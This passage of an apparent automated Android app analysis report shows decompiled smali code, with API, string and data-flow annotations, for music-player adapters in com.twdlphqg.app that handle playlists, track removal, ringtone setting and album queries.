87invoke-virtual {v8, v5}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
88move-result-object v8
89check-cast v8, Lcom/twdlphqg/app/models/Track;
91iget-object v9, p0, Lcom/twdlphqg/app/adapter/TrackInQueueAdapter;->context:Landroid/content/Context;
93invoke-static {v5, v8, v9}, Lcom/twdlphqg/app/business/Ultils;->setRingtone(ILcom/twdlphqg/app/models/Track;Landroid/content/Context;)V
94goto/16 :goto_d
95pswitch_76:
96invoke-static {}, Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment;->newInstance()Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment;
97move-result-object v2
98new-instance v0, Landroid/os/Bundle;
100invoke-direct {v0}, Landroid/os/Bundle;-><init>()V
102sget-object v9, Lcom/twdlphqg/app/conf/constants;->TRACK_INDEX_KEY:Ljava/lang/String;
104iget-object v8, p0, Lcom/twdlphqg/app/adapter/TrackInQueueAdapter;->tracks:Ljava/util/ArrayList;
106invoke-virtual {v8, v5}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
107move-result-object v8
108check-cast v8, Landroid/os/Parcelable;
110invoke-virtual {v0, v9, v8}, Landroid/os/Bundle;->putParcelable(Ljava/lang/String;Landroid/os/Parcelable;)V
112invoke-virtual {v2, v0}, Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment;->setArguments(Landroid/os/Bundle;)V
114iget-object v8, p0, Lcom/twdlphqg/app/adapter/TrackInQueueAdapter;->fragmentManager:Landroid/support/v4/app/FragmentManager;
116const-string v9, "dialog"
118invoke-virtual {v2, v8, v9}, Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment;->show(Landroid/support/v4/app/FragmentManager;Ljava/lang/String;)V
  • Data flow analysis:
    • p1: dialog
119goto/16 :goto_d
APIs
  • android.widget.AdapterView.getTag
  • java.lang.Integer.intValue
  • android.widget.AdapterView.setSelection
  • android.os.Bundle.<init>
  • java.util.ArrayList.get
  • android.os.Bundle.putParcelable
  • com.twdlphqg.app.fragments.CustomPromptDialogFragment.<init>
  • com.twdlphqg.app.fragments.CustomPromptDialogFragment.setArguments
  • com.twdlphqg.app.fragments.CustomPromptDialogFragment.show
  • android.app.AlertDialog$Builder.<init>
  • android.content.Context.getResources
  • android.content.res.Resources.getString
  • android.app.AlertDialog$Builder.setMessage
  • android.content.Context.getResources
  • android.content.res.Resources.getString
  • android.app.AlertDialog$Builder.setPositiveButton
  • android.content.Context.getResources
  • android.content.res.Resources.getString
  • android.app.AlertDialog$Builder.setNegativeButton
  • android.app.AlertDialog$Builder.create
  • android.app.AlertDialog.show
Strings
  • dialog
Position Instruction Meta Information
0.param p2, "arg1" # Landroid/view/View;
1.param p3, "position" # I
2.param p4, "arg3" # J
3.annotation system Ldalvik/annotation/Signature;
4value = {
5"(",
6"Landroid/widget/AdapterView",
7"<*>;",
8"Landroid/view/View;",
9"IJ)V"
10}
11.end annotation
12.prologue
14invoke-virtual {p1}, Landroid/widget/AdapterView;->getTag()Ljava/lang/Object;
15move-result-object v4
16check-cast v4, Ljava/lang/Integer;
18invoke-virtual {v4}, Ljava/lang/Integer;->intValue()I
19move-result v3
20packed-switch p3, :pswitch_data_7e
21goto_d: const/4 v4, 0x0
23invoke-virtual {p1, v4}, Landroid/widget/AdapterView;->setSelection(I)V
  • Data flow analysis:
    • position: 0
24return-void
25pswitch_12: new-instance v0, Landroid/os/Bundle;
27invoke-direct {v0}, Landroid/os/Bundle;-><init>()V
29sget-object v5, Lcom/twdlphqg/app/conf/constants;->COMMON_KEY:Ljava/lang/String;
31iget-object v4, p0, Lcom/twdlphqg/app/adapter/PlaylistAdapter;->playlists:Ljava/util/ArrayList;
33invoke-virtual {v4, v3}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
34move-result-object v4
35check-cast v4, Landroid/os/Parcelable;
37invoke-virtual {v0, v5, v4}, Landroid/os/Bundle;->putParcelable(Ljava/lang/String;Landroid/os/Parcelable;)V
38new-instance v1, Lcom/twdlphqg/app/fragments/CustomPromptDialogFragment;
40invoke-direct {v1}, Lcom/twdlphqg/app/fragments/CustomPromptDialogFragment;-><init>()V
42invoke-virtual {v1, v0}, Lcom/twdlphqg/app/fragments/CustomPromptDialogFragment;->setArguments(Landroid/os/Bundle;)V
44iget-object v4, p0, Lcom/twdlphqg/app/adapter/PlaylistAdapter;->fragmentManager:Landroid/support/v4/app/FragmentManager;
46const-string v5, "dialog"
48invoke-virtual {v1, v4, v5}, Lcom/twdlphqg/app/fragments/CustomPromptDialogFragment;->show(Landroid/support/v4/app/FragmentManager;Ljava/lang/String;)V
  • Data flow analysis:
    • p1: dialog
49goto/16 :goto_d
50pswitch_34: new-instance v2, Landroid/app/AlertDialog$Builder;
52iget-object v4, p0, Lcom/twdlphqg/app/adapter/PlaylistAdapter;->context:Landroid/content/Context;
54invoke-direct {v2, v4}, Landroid/app/AlertDialog$Builder;-><init>(Landroid/content/Context;)V
56iget-object v4, p0, Lcom/twdlphqg/app/adapter/PlaylistAdapter;->context:Landroid/content/Context;
58invoke-virtual {v4}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
59move-result-object v4
60const v5, 0x7f0b0018
62invoke-virtual {v4, v5}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • id: 2131427352
63move-result-object v4
65invoke-virtual {v2, v4}, Landroid/app/AlertDialog$Builder;->setMessage(Ljava/lang/CharSequence;)Landroid/app/AlertDialog$Builder;
67iget-object v4, p0, Lcom/twdlphqg/app/adapter/PlaylistAdapter;->context:Landroid/content/Context;
69invoke-virtual {v4}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
70move-result-object v4
71const v5, 0x7f0b0019
73invoke-virtual {v4, v5}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • id: 2131427353
74move-result-object v4
75new-instance v5, Lcom/twdlphqg/app/adapter/PlaylistAdapter$1;
77invoke-direct {v5, p0, v3}, Lcom/twdlphqg/app/adapter/PlaylistAdapter$1;-><init>(Lcom/twdlphqg/app/adapter/PlaylistAdapter;I)V
79invoke-virtual {v2, v4, v5}, Landroid/app/AlertDialog$Builder;->setPositiveButton(Ljava/lang/CharSequence;Landroid/content/DialogInterface$OnClickListener;)Landroid/app/AlertDialog$Builder;
81iget-object v4, p0, Lcom/twdlphqg/app/adapter/PlaylistAdapter;->context:Landroid/content/Context;
83invoke-virtual {v4}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
84move-result-object v4
85const v5, 0x7f0b001a
87invoke-virtual {v4, v5}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • id: 2131427354
88move-result-object v4
89new-instance v5, Lcom/twdlphqg/app/adapter/PlaylistAdapter$2;
91invoke-direct {v5, p0}, Lcom/twdlphqg/app/adapter/PlaylistAdapter$2;-><init>(Lcom/twdlphqg/app/adapter/PlaylistAdapter;)V
93invoke-virtual {v2, v4, v5}, Landroid/app/AlertDialog$Builder;->setNegativeButton(Ljava/lang/CharSequence;Landroid/content/DialogInterface$OnClickListener;)Landroid/app/AlertDialog$Builder;
95invoke-virtual {v2}, Landroid/app/AlertDialog$Builder;->create()Landroid/app/AlertDialog;
96move-result-object v4
98invoke-virtual {v4}, Landroid/app/AlertDialog;->show()V
99goto/16 :goto_d
100nop
APIs
  • com.twdlphqg.app.adapter.PlaylistAdapter.access$0
  • com.twdlphqg.app.adapter.PlaylistAdapter.access$1
  • java.util.ArrayList.get
  • com.twdlphqg.app.adapter.PlaylistAdapter.access$0
  • java.lang.String.valueOf
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • com.twdlphqg.app.adapter.PlaylistAdapter.access$0
  • android.content.Context.getResources
  • android.content.res.Resources.getString
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • com.twdlphqg.app.adapter.PlaylistAdapter.access$0
  • android.content.Context.getResources
  • android.content.res.Resources.getString
  • java.lang.Integer.parseInt
  • android.widget.Toast.makeText
  • android.widget.Toast.show
  • com.twdlphqg.app.adapter.PlaylistAdapter.access$1
  • java.util.ArrayList.remove
  • com.twdlphqg.app.adapter.PlaylistAdapter.notifyDataSetChanged
Strings
Position Instruction Meta Information
0.param p1, "dialog" # Landroid/content/DialogInterface;
1.param p2, "which" # I
2.prologue
3new-instance v0, Lcom/twdlphqg/app/dals/PlaylistDal;
5iget-object v4, p0, Lcom/twdlphqg/app/adapter/PlaylistAdapter$1;->this$0:Lcom/twdlphqg/app/adapter/PlaylistAdapter;
7invoke-static {v4}, Lcom/twdlphqg/app/adapter/PlaylistAdapter;->access$0(Lcom/twdlphqg/app/adapter/PlaylistAdapter;)Landroid/content/Context;
8move-result-object v4
10invoke-direct {v0, v4}, Lcom/twdlphqg/app/dals/PlaylistDal;-><init>(Landroid/content/Context;)V
12iget-object v4, p0, Lcom/twdlphqg/app/adapter/PlaylistAdapter$1;->this$0:Lcom/twdlphqg/app/adapter/PlaylistAdapter;
14invoke-static {v4}, Lcom/twdlphqg/app/adapter/PlaylistAdapter;->access$1(Lcom/twdlphqg/app/adapter/PlaylistAdapter;)Ljava/util/ArrayList;
15move-result-object v4
16iget v5, p0, Lcom/twdlphqg/app/adapter/PlaylistAdapter$1;->val$index:I
18invoke-virtual {v4, v5}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
19move-result-object v1
20check-cast v1, Lcom/twdlphqg/app/models/Playlist;
22invoke-virtual {v1}, Lcom/twdlphqg/app/models/Playlist;->getId()I
23move-result v4
25invoke-virtual {v0, v4}, Lcom/twdlphqg/app/dals/PlaylistDal;->removePlayList(I)I
26move-result v2
27if-eqz v2, :cond_81
29iget-object v4, p0, Lcom/twdlphqg/app/adapter/PlaylistAdapter$1;->this$0:Lcom/twdlphqg/app/adapter/PlaylistAdapter;
31invoke-static {v4}, Lcom/twdlphqg/app/adapter/PlaylistAdapter;->access$0(Lcom/twdlphqg/app/adapter/PlaylistAdapter;)Landroid/content/Context;
32move-result-object v4
33new-instance v5, Ljava/lang/StringBuilder;
35invoke-virtual {v1}, Lcom/twdlphqg/app/models/Playlist;->getName()Ljava/lang/String;
36move-result-object v6
38invoke-static {v6}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
39move-result-object v6
41invoke-direct {v5, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
43const-string v6, " "
45invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0:
46move-result-object v5
48iget-object v6, p0, Lcom/twdlphqg/app/adapter/PlaylistAdapter$1;->this$0:Lcom/twdlphqg/app/adapter/PlaylistAdapter;
50invoke-static {v6}, Lcom/twdlphqg/app/adapter/PlaylistAdapter;->access$0(Lcom/twdlphqg/app/adapter/PlaylistAdapter;)Landroid/content/Context;
51move-result-object v6
53invoke-virtual {v6}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
54move-result-object v6
55const v7, 0x7f0b0016
57invoke-virtual {v6, v7}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • id: 2131427350
58move-result-object v6
60invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
61move-result-object v5
63invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
64move-result-object v5
66iget-object v6, p0, Lcom/twdlphqg/app/adapter/PlaylistAdapter$1;->this$0:Lcom/twdlphqg/app/adapter/PlaylistAdapter;
68invoke-static {v6}, Lcom/twdlphqg/app/adapter/PlaylistAdapter;->access$0(Lcom/twdlphqg/app/adapter/PlaylistAdapter;)Landroid/content/Context;
69move-result-object v6
71invoke-virtual {v6}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
72move-result-object v6
73const v7, 0x7f0b0027
75invoke-virtual {v6, v7}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • id: 2131427367
76move-result-object v6
78invoke-static {v6}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
79move-result v6
81invoke-static {v4, v5, v6}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;
82move-result-object v3
84invoke-virtual {v3}, Landroid/widget/Toast;->show()V
86iget-object v4, p0, Lcom/twdlphqg/app/adapter/PlaylistAdapter$1;->this$0:Lcom/twdlphqg/app/adapter/PlaylistAdapter;
88invoke-static {v4}, Lcom/twdlphqg/app/adapter/PlaylistAdapter;->access$1(Lcom/twdlphqg/app/adapter/PlaylistAdapter;)Ljava/util/ArrayList;
89move-result-object v4
90iget v5, p0, Lcom/twdlphqg/app/adapter/PlaylistAdapter$1;->val$index:I
92invoke-virtual {v4, v5}, Ljava/util/ArrayList;->remove(I)Ljava/lang/Object;
94iget-object v4, p0, Lcom/twdlphqg/app/adapter/PlaylistAdapter$1;->this$0:Lcom/twdlphqg/app/adapter/PlaylistAdapter;
96invoke-virtual {v4}, Lcom/twdlphqg/app/adapter/PlaylistAdapter;->notifyDataSetChanged()V
97cond_81:
98invoke-virtual {v0}, Lcom/twdlphqg/app/dals/PlaylistDal;->close()V
99return-void
APIs
  • com.twdlphqg.app.adapter.TrackAdapter.access$0
  • com.twdlphqg.app.adapter.TrackAdapter.access$1
  • java.util.ArrayList.get
  • java.lang.Boolean.booleanValue
  • com.twdlphqg.app.adapter.TrackAdapter.access$1
  • java.util.ArrayList.get
  • java.lang.String.valueOf
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • com.twdlphqg.app.adapter.TrackAdapter.access$0
  • android.content.Context.getResources
  • android.content.res.Resources.getString
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • com.twdlphqg.app.adapter.TrackAdapter.access$0
  • java.lang.Integer.parseInt
  • android.widget.Toast.makeText
  • android.widget.Toast.show
  • com.twdlphqg.app.adapter.TrackAdapter.access$1
  • java.util.ArrayList.remove
  • com.twdlphqg.app.adapter.TrackAdapter.notifyDataSetChanged
Strings
Position Instruction Meta Information
0.param p1, "dialog" # Landroid/content/DialogInterface;
1.param p2, "which" # I
2.prologue
4iget-object v3, p0, Lcom/twdlphqg/app/adapter/TrackAdapter$1;->this$0:Lcom/twdlphqg/app/adapter/TrackAdapter;
6invoke-static {v3}, Lcom/twdlphqg/app/adapter/TrackAdapter;->access$0(Lcom/twdlphqg/app/adapter/TrackAdapter;)Landroid/content/Context;
7move-result-object v4
9iget-object v3, p0, Lcom/twdlphqg/app/adapter/TrackAdapter$1;->this$0:Lcom/twdlphqg/app/adapter/TrackAdapter;
11invoke-static {v3}, Lcom/twdlphqg/app/adapter/TrackAdapter;->access$1(Lcom/twdlphqg/app/adapter/TrackAdapter;)Ljava/util/ArrayList;
12move-result-object v3
13iget v5, p0, Lcom/twdlphqg/app/adapter/TrackAdapter$1;->val$index:I
15invoke-virtual {v3, v5}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
16move-result-object v3
17check-cast v3, Lcom/twdlphqg/app/models/Track;
19invoke-static {v4, v3}, Lcom/twdlphqg/app/business/Ultils;->removeTrack(Landroid/content/Context;Lcom/twdlphqg/app/models/Track;)Ljava/lang/Boolean;
20move-result-object v0
22invoke-virtual {v0}, Ljava/lang/Boolean;->booleanValue()Z
23move-result v3
24if-eqz v3, :cond_7b
25new-instance v4, Ljava/lang/StringBuilder;
27iget-object v3, p0, Lcom/twdlphqg/app/adapter/TrackAdapter$1;->this$0:Lcom/twdlphqg/app/adapter/TrackAdapter;
29invoke-static {v3}, Lcom/twdlphqg/app/adapter/TrackAdapter;->access$1(Lcom/twdlphqg/app/adapter/TrackAdapter;)Ljava/util/ArrayList;
30move-result-object v3
31iget v5, p0, Lcom/twdlphqg/app/adapter/TrackAdapter$1;->val$index:I
33invoke-virtual {v3, v5}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
34move-result-object v3
35check-cast v3, Lcom/twdlphqg/app/models/Track;
37invoke-virtual {v3}, Lcom/twdlphqg/app/models/Track;->getTitle()Ljava/lang/String;
38move-result-object v3
40invoke-static {v3}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
41move-result-object v3
43invoke-direct {v4, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
45const-string v3, " "
47invoke-virtual {v4, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0:
48move-result-object v3
50iget-object v4, p0, Lcom/twdlphqg/app/adapter/TrackAdapter$1;->this$0:Lcom/twdlphqg/app/adapter/TrackAdapter;
52invoke-static {v4}, Lcom/twdlphqg/app/adapter/TrackAdapter;->access$0(Lcom/twdlphqg/app/adapter/TrackAdapter;)Landroid/content/Context;
53move-result-object v4
55invoke-virtual {v4}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
56move-result-object v4
57const v5, 0x7f0b0016
59invoke-virtual {v4, v5}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • id: 2131427350
60move-result-object v4
62invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
63move-result-object v3
65invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
66move-result-object v2
68iget-object v3, p0, Lcom/twdlphqg/app/adapter/TrackAdapter$1;->this$0:Lcom/twdlphqg/app/adapter/TrackAdapter;
70invoke-static {v3}, Lcom/twdlphqg/app/adapter/TrackAdapter;->access$0(Lcom/twdlphqg/app/adapter/TrackAdapter;)Landroid/content/Context;
71move-result-object v3
73iget-object v4, p0, Lcom/twdlphqg/app/adapter/TrackAdapter$1;->val$toastTimeout:Ljava/lang/String;
75invoke-static {v4}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
76move-result v4
78invoke-static {v3, v2, v4}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;
79move-result-object v1
81invoke-virtual {v1}, Landroid/widget/Toast;->show()V
83iget-object v3, p0, Lcom/twdlphqg/app/adapter/TrackAdapter$1;->this$0:Lcom/twdlphqg/app/adapter/TrackAdapter;
85invoke-static {v3}, Lcom/twdlphqg/app/adapter/TrackAdapter;->access$1(Lcom/twdlphqg/app/adapter/TrackAdapter;)Ljava/util/ArrayList;
86move-result-object v3
87iget v4, p0, Lcom/twdlphqg/app/adapter/TrackAdapter$1;->val$index:I
89invoke-virtual {v3, v4}, Ljava/util/ArrayList;->remove(I)Ljava/lang/Object;
91iget-object v3, p0, Lcom/twdlphqg/app/adapter/TrackAdapter$1;->this$0:Lcom/twdlphqg/app/adapter/TrackAdapter;
93invoke-virtual {v3}, Lcom/twdlphqg/app/adapter/TrackAdapter;->notifyDataSetChanged()V
94cond_7b: return-void
APIs
  • com.twdlphqg.app.adapter.TrackInQueueAdapter.access$0
  • com.twdlphqg.app.adapter.TrackInQueueAdapter.access$1
  • java.util.ArrayList.get
  • java.lang.Boolean.booleanValue
  • com.twdlphqg.app.adapter.TrackInQueueAdapter.access$1
  • java.util.ArrayList.get
  • java.lang.String.valueOf
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • com.twdlphqg.app.adapter.TrackInQueueAdapter.access$0
  • android.content.Context.getResources
  • android.content.res.Resources.getString
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • com.twdlphqg.app.adapter.TrackInQueueAdapter.access$0
  • java.lang.Integer.parseInt
  • android.widget.Toast.makeText
  • android.widget.Toast.show
  • com.twdlphqg.app.adapter.TrackInQueueAdapter.access$1
  • java.util.ArrayList.remove
  • com.twdlphqg.app.adapter.TrackInQueueAdapter.notifyDataSetChanged
Strings
Position Instruction Meta Information
0.param p1, "dialog" # Landroid/content/DialogInterface;
1.param p2, "which" # I
2.prologue
4iget-object v3, p0, Lcom/twdlphqg/app/adapter/TrackInQueueAdapter$1;->this$0:Lcom/twdlphqg/app/adapter/TrackInQueueAdapter;
6invoke-static {v3}, Lcom/twdlphqg/app/adapter/TrackInQueueAdapter;->access$0(Lcom/twdlphqg/app/adapter/TrackInQueueAdapter;)Landroid/content/Context;
7move-result-object v4
9iget-object v3, p0, Lcom/twdlphqg/app/adapter/TrackInQueueAdapter$1;->this$0:Lcom/twdlphqg/app/adapter/TrackInQueueAdapter;
11invoke-static {v3}, Lcom/twdlphqg/app/adapter/TrackInQueueAdapter;->access$1(Lcom/twdlphqg/app/adapter/TrackInQueueAdapter;)Ljava/util/ArrayList;
12move-result-object v3
13iget v5, p0, Lcom/twdlphqg/app/adapter/TrackInQueueAdapter$1;->val$index:I
15invoke-virtual {v3, v5}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
16move-result-object v3
17check-cast v3, Lcom/twdlphqg/app/models/Track;
19invoke-static {v4, v3}, Lcom/twdlphqg/app/business/Ultils;->removeTrack(Landroid/content/Context;Lcom/twdlphqg/app/models/Track;)Ljava/lang/Boolean;
20move-result-object v0
22invoke-virtual {v0}, Ljava/lang/Boolean;->booleanValue()Z
23move-result v3
24if-eqz v3, :cond_7b
25new-instance v4, Ljava/lang/StringBuilder;
27iget-object v3, p0, Lcom/twdlphqg/app/adapter/TrackInQueueAdapter$1;->this$0:Lcom/twdlphqg/app/adapter/TrackInQueueAdapter;
29invoke-static {v3}, Lcom/twdlphqg/app/adapter/TrackInQueueAdapter;->access$1(Lcom/twdlphqg/app/adapter/TrackInQueueAdapter;)Ljava/util/ArrayList;
30move-result-object v3
31iget v5, p0, Lcom/twdlphqg/app/adapter/TrackInQueueAdapter$1;->val$index:I
33invoke-virtual {v3, v5}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
34move-result-object v3
35check-cast v3, Lcom/twdlphqg/app/models/Track;
37invoke-virtual {v3}, Lcom/twdlphqg/app/models/Track;->getTitle()Ljava/lang/String;
38move-result-object v3
40invoke-static {v3}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
41move-result-object v3
43invoke-direct {v4, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
45const-string v3, " "
47invoke-virtual {v4, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0:
48move-result-object v3
50iget-object v4, p0, Lcom/twdlphqg/app/adapter/TrackInQueueAdapter$1;->this$0:Lcom/twdlphqg/app/adapter/TrackInQueueAdapter;
52invoke-static {v4}, Lcom/twdlphqg/app/adapter/TrackInQueueAdapter;->access$0(Lcom/twdlphqg/app/adapter/TrackInQueueAdapter;)Landroid/content/Context;
53move-result-object v4
55invoke-virtual {v4}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
56move-result-object v4
57const v5, 0x7f0b0014
59invoke-virtual {v4, v5}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • id: 2131427348
60move-result-object v4
62invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
63move-result-object v3
65invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
66move-result-object v2
68iget-object v3, p0, Lcom/twdlphqg/app/adapter/TrackInQueueAdapter$1;->this$0:Lcom/twdlphqg/app/adapter/TrackInQueueAdapter;
70invoke-static {v3}, Lcom/twdlphqg/app/adapter/TrackInQueueAdapter;->access$0(Lcom/twdlphqg/app/adapter/TrackInQueueAdapter;)Landroid/content/Context;
71move-result-object v3
73iget-object v4, p0, Lcom/twdlphqg/app/adapter/TrackInQueueAdapter$1;->val$toastTimeout:Ljava/lang/String;
75invoke-static {v4}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
76move-result v4
78invoke-static {v3, v2, v4}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;
79move-result-object v1
81invoke-virtual {v1}, Landroid/widget/Toast;->show()V
83iget-object v3, p0, Lcom/twdlphqg/app/adapter/TrackInQueueAdapter$1;->this$0:Lcom/twdlphqg/app/adapter/TrackInQueueAdapter;
85invoke-static {v3}, Lcom/twdlphqg/app/adapter/TrackInQueueAdapter;->access$1(Lcom/twdlphqg/app/adapter/TrackInQueueAdapter;)Ljava/util/ArrayList;
86move-result-object v3
87iget v4, p0, Lcom/twdlphqg/app/adapter/TrackInQueueAdapter$1;->val$index:I
89invoke-virtual {v3, v4}, Ljava/util/ArrayList;->remove(I)Ljava/lang/Object;
91iget-object v3, p0, Lcom/twdlphqg/app/adapter/TrackInQueueAdapter$1;->this$0:Lcom/twdlphqg/app/adapter/TrackInQueueAdapter;
93invoke-virtual {v3}, Lcom/twdlphqg/app/adapter/TrackInQueueAdapter;->notifyDataSetChanged()V
94cond_7b: return-void
Cross References
APIs
  • java.util.ArrayList.<init>
  • android.database.Cursor.moveToFirst
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getInt
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getString
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getString
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getString
  • java.util.ArrayList.add
  • java.lang.String.valueOf
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.toString
  • android.util.Log.i
  • android.database.Cursor.moveToNext
  • android.database.Cursor.close
Strings
  • _id
  • album
  • artist
  • album_art
  • ALBUM
Position Instruction Meta Information
0.param p1, "cursor" # Landroid/database/Cursor;
1.annotation system Ldalvik/annotation/Signature;
2value = {
3"(",
4"Landroid/database/Cursor;",
5")",
6"Ljava/util/ArrayList",
7"<",
8"Lcom/twdlphqg/app/models/Album;",
9">;"
10}
11.end annotation
12.prologue
13new-instance v1, Ljava/util/ArrayList;
15invoke-direct {v1}, Ljava/util/ArrayList;-><init>()V
16if-eqz p1, :cond_68
18invoke-interface {p1}, Landroid/database/Cursor;->moveToFirst()Z
19move-result v2
20if-eqz v2, :cond_68
21cond_d: new-instance v0, Lcom/twdlphqg/app/models/Album;
23invoke-direct {v0}, Lcom/twdlphqg/app/models/Album;-><init>()V
25const-string v2, "_id"
27invoke-interface {p1, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: _id
28move-result v2
30invoke-interface {p1, v2}, Landroid/database/Cursor;->getInt(I)I
31move-result v2
33invoke-virtual {v0, v2}, Lcom/twdlphqg/app/models/Album;->setId(I)V
35const-string v2, "album"
37invoke-interface {p1, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: album
38move-result v2
40invoke-interface {p1, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
41move-result-object v2
43invoke-virtual {v0, v2}, Lcom/twdlphqg/app/models/Album;->setTitle(Ljava/lang/String;)V
45const-string v2, "artist"
47invoke-interface {p1, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: artist
48move-result v2
50invoke-interface {p1, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
51move-result-object v2
53invoke-virtual {v0, v2}, Lcom/twdlphqg/app/models/Album;->setArtist(Ljava/lang/String;)V
55const-string v2, "album_art"
57invoke-interface {p1, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: album_art
58move-result v2
60invoke-interface {p1, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
61move-result-object v2
63invoke-virtual {v0, v2}, Lcom/twdlphqg/app/models/Album;->setAlbumArt(Ljava/lang/String;)V
65invoke-virtual {v1, v0}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
67const-string v2, "ALBUM"
68new-instance v3, Ljava/lang/StringBuilder;
70invoke-virtual {v0}, Lcom/twdlphqg/app/models/Album;->getId()I
71move-result v4
73invoke-static {v4}, Ljava/lang/String;->valueOf(I)Ljava/lang/String;
74move-result-object v4
76invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
78invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
79move-result-object v3
81invoke-static {v2, v3}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: ALBUM
83invoke-interface {p1}, Landroid/database/Cursor;->moveToNext()Z
84move-result v2
85if-nez v2, :cond_d
87invoke-interface {p1}, Landroid/database/Cursor;->close()V
88cond_68: return-object v1
APIs
  • com.twdlphqg.app.fragments.CustomSelectPlaylistDialogFragment.getActivity
  • android.app.AlertDialog$Builder.<init>
  • com.twdlphqg.app.fragments.CustomSelectPlaylistDialogFragment.getActivity
  • android.support.v4.app.FragmentActivity.getApplicationContext
  • java.util.ArrayList.<init>
  • com.twdlphqg.app.fragments.CustomSelectPlaylistDialogFragment.getActivity
  • android.support.v4.app.FragmentActivity.getApplicationContext
  • com.twdlphqg.app.fragments.CustomSelectPlaylistDialogFragment.getActivity
  • android.support.v4.app.FragmentActivity.getSupportFragmentManager
  • com.twdlphqg.app.adapter.PlaylistAdapter.<init>
  • com.twdlphqg.app.fragments.CustomSelectPlaylistDialogFragment.getActivity
  • android.widget.ListView.<init>
  • android.widget.ListView.setAdapter
  • android.widget.ListView.setItemsCanFocus
  • android.widget.ListView.setChoiceMode
  • android.widget.ListView.setOnItemClickListener
  • com.twdlphqg.app.fragments.CustomSelectPlaylistDialogFragment.getResources
  • android.content.res.Resources.getString
  • android.app.AlertDialog$Builder.setTitle
  • android.app.AlertDialog$Builder.setView
